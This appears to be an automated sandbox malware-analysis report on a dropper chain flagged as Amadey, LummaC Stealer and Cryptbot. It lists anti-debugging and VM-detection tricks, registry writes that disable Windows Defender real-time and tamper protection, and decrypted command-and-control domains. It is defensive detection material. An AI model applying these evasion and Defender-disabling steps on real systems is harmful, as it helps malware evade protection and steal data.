Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5776	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe TID: 7784	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe TID: 6028	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe TID: 7944	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe TID: 5408	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe TID: 4108	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe TID: 6036	Thread sleep time: -48000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe TID: 7936	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe TID: 8052	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C6FEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000B.00000002.2924976956.00000000003E5000.00000040.00000001.01000000.0000000E.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2949849270.0000000006593000.00000040.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2925196456.00000000002EB000.00000040.00000001.01000000.00000010.sdmp, d357e68128.exe, 0000000F.00000002.2729032099.00000000010C3000.00000040.00000001.01000000.00000011.sdmp, e41fd24755.exe, 00000010.00000002.2925271258.00000000002EB000.00000040.00000001.01000000.00000010.sdmp, d357e68128.exe, 00000012.00000002.2904100281.00000000010C3000.00000040.00000001.01000000.00000011.sdmp, 46218a4a07.exe, 00000013.00000002.2924830344.000000000046E000.00000040.00000001.01000000.00000012.sdmp, e41fd24755.exe, 00000014.00000002.2924949696.00000000002EB000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}5-
Source: file.exe, 00000000.00000002.2067174979.00000000233F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\dyj
Source: e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev(
Source: file.exe, 00000000.00000002.2039853324.0000000000F16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq)
Source: DocumentsDGCFHIDAKE.exe, 00000009.00000003.2067155417.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: e41fd24755.exe, 00000014.00000002.2932521313.0000000000D9B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW Z
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: file.exe, 00000000.00000002.2039853324.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2930926054.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2932440108.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 0000000F.00000002.2722879567.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 0000000F.00000002.2722879567.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.0000000000877000.00000004.00000020.00020000.00000000.sdmp, d357e68128.exe, 00000012.00000002.2906261210.0000000001959000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: skotes.exe, 0000000B.00000002.2930926054.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[,
Source: d357e68128.exe, 0000000F.00000002.2722879567.0000000000BAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarew
Source: d357e68128.exe, 00000012.00000002.2906261210.000000000191B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware3
Source: e41fd24755.exe, 0000000E.00000002.2932440108.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<Dd(
Source: e41fd24755.exe, 0000000E.00000002.2942814492.0000000004810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ervices\Tcpip\Parametersk\9375CFF0413111d3B88A00104B2A6676\00000002ook\9375CFF0413111d3B88A00104B2A6676\00000002413111d3B88A00104B2A6676\00000003
Source: file.exe, 00000000.00000002.2039113191.00000000006A3000.00000040.00000001.01000000.00000003.sdmp, DocumentsDGCFHIDAKE.exe, 00000009.00000002.2083208343.00000000008E5000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2122113635.00000000003E5000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2924976956.00000000003E5000.00000040.00000001.01000000.0000000E.sdmp, e41fd24755.exe, 0000000E.00000002.2949849270.0000000006593000.00000040.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2925196456.00000000002EB000.00000040.00000001.01000000.00000010.sdmp, d357e68128.exe, 0000000F.00000002.2729032099.00000000010C3000.00000040.00000001.01000000.00000011.sdmp, e41fd24755.exe, 00000010.00000002.2925271258.00000000002EB000.00000040.00000001.01000000.00000010.sdmp, d357e68128.exe, 00000012.00000002.2904100281.00000000010C3000.00000040.00000001.01000000.00000011.sdmp, 46218a4a07.exe, 00000013.00000002.2924830344.000000000046E000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 923e9bc10d.exe, 0000000C.00000003.2916039674.00000000012FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

Code function: 9_2_05190C9A rdtsc

9_2_05190C9A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_0072652B mov eax, dword ptr fs:[00000030h]	9_2_0072652B
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Code function: 9_2_0072A302 mov eax, dword ptr fs:[00000030h]	9_2_0072A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_0022A302 mov eax, dword ptr fs:[00000030h]	10_2_0022A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_0022652B mov eax, dword ptr fs:[00000030h]	10_2_0022652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0022A302 mov eax, dword ptr fs:[00000030h]	11_2_0022A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0022652B mov eax, dword ptr fs:[00000030h]	11_2_0022652B

Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d357e68128.exe PID: 7328, type: MEMORYSTR

LummaC encrypted strings found

Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: scriptyprefej.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: navygenerayk.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: founpiuer.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: necklacedmny.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: thumbystriw.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: fadehairucw.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: crisiwarny.store
Source: e41fd24755.exe, 0000000E.00000002.2922933222.0000000000111000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe "C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe "C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe "C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe "C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C814760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C814760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C6F1C30

Source: file.exe, file.exe, 00000000.00000002.2039113191.00000000006A3000.00000040.00000001.01000000.00000003.sdmp, e41fd24755.exe, 0000000E.00000002.2927449433.000000000032F000.00000040.00000001.01000000.00000010.sdmp, d357e68128.exe, 0000000F.00000002.2729032099.00000000010C3000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Program Manager
Source: DocumentsDGCFHIDAKE.exe, 00000009.00000002.2083510744.000000000092C000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2122313372.000000000042C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2926542093.000000000042C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,VProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAE71 cpuid

0_2_6C7CAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C7CA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C718390 NSS_GetVersion,

0_2_6C718390

Source: C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe

Registry value created: TamperProtection 0

Source: e41fd24755.exe, 0000000E.00000003.2721578056.0000000000E89000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000002.2931842781.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2877363695.0000000000964000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.skotes.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DocumentsDGCFHIDAKE.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2121304688.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2923215795.00000000001F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2082774843.00000000006F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e41fd24755.exe PID: 7484, type: MEMORYSTR
